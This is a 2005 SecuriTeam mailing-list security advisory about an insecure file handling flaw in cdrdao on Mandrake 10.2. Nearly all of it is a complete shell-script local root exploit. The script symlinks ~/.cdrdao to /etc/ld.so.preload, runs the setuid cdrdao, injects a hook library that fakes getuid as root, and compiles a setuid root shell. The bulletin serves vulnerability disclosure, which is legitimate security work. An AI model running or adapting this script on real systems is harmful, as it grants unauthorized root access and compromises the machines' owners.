[EXPL] cdrdao Insecure File Handling (Exploit)
From: SecuriTeam (support_at_securiteam.com)
Date: 05/19/05
- Previous message: SecuriTeam: "[UNIX] MySQL Insecure Temporary File Handling"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 19 May 2005 16:22:14 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
cdrdao Insecure File Handling (Exploit)
------------------------------------------------------------------------
SUMMARY
It seems that <http://www.securiteam.com/unixfocus/5PP0F1P61I.html>
cdrdao insecure file handling vulnerability still exists in Mandrake.
DETAILS
Vulnerable Systems:
* cdrdao in Mandrake version 10.2 (Mandriva 2005)
Exploit:
#!/bin/sh
# cdrdao local root exploit
# newbug [at] chroot.org
# IRC: irc.chroot.org #chroot
# May 2005
echo "cdrdao private exploit"
echo "This exploit only for Mandrake series"
echo "newbug [at] chroot.org"
echo "May 2005"
echo "checking if cdrdao is setuid ...";
if [ ! -u /usr/bin/cdrdao ]; then
echo "[-] Failed";
exit
fi
echo "[+] done.";
echo "checking if /etc/ld.so.preload already exist ..."
if [ -f /etc/ld.so.preload ]; then
echo "[-] Failed."
exit
else
echo "[+] done."
fi
echo "checking if ~/.cdrdao already exist ..."
if [ -f ~/.cdrdao ]; then
rm -rf ~/.cdrdao
fi
echo "[+] done."
cd /tmp
echo "preparing hook library ..."
cat >ld.so.c<<EOF
#include <stdlib.h>
uid_t getuid()
{
return 0;
}
EOF
echo "[+] done."
echo "preparing shell program ..."
cat >sh.c <<EOF
#include <stdio.h>
#include <unistd.h>
int main(int argc,char **argv)
{
setreuid(0,0);
setgid(0);
unlink("/tmp/ld.so");
if(getuid())
{
printf("[-] Failed.\n");
unlink(argv[0]);
exit(0);
}
printf("[+] Congratulation, You win the game !!\n");
unlink("/etc/ld.so.preload");
execl("/bin/bash","bash",(char *)0);
return 0;
}
EOF
echo "[+] done."
echo "link .cdrdao ==> /etc/ld.so.preload ..."
ln -sf /etc/ld.so.preload ~/.cdrdao
echo "[+] done."
echo "compile hook library ..."
gcc -shared -o ld.so ld.so.c
echo "[+] done."
echo "compile shell program ..."
gcc -o sh sh.c
echo "[+] done."
umask 0
echo "run cdrdao ..."
cdrdao unlock --save >/dev/null 2>&1
echo "[+] done."
echo "checking if /etc/ld.so.preload created successful..."
if [ -f /etc/ld.so.preload ]; then
echo "[+] done."
else
echo "[-] Failed."
exit
fi
echo "/tmp/ld.so">/etc/ld.so.preload
rm -f /tmp/sh.c
rm -f /tmp/ld.so.c
su -c "chown root.root /tmp/sh;chmod 4755 /tmp/sh" >/dev/null 2>&1
echo "!@#\$@%#$%#$%!@%^"
/tmp/sh
ADDITIONAL INFORMATION
The information has been provided by <mailto:newbug@chroot.org> newbug
Tseng.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[UNIX] MySQL Insecure Temporary File Handling"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|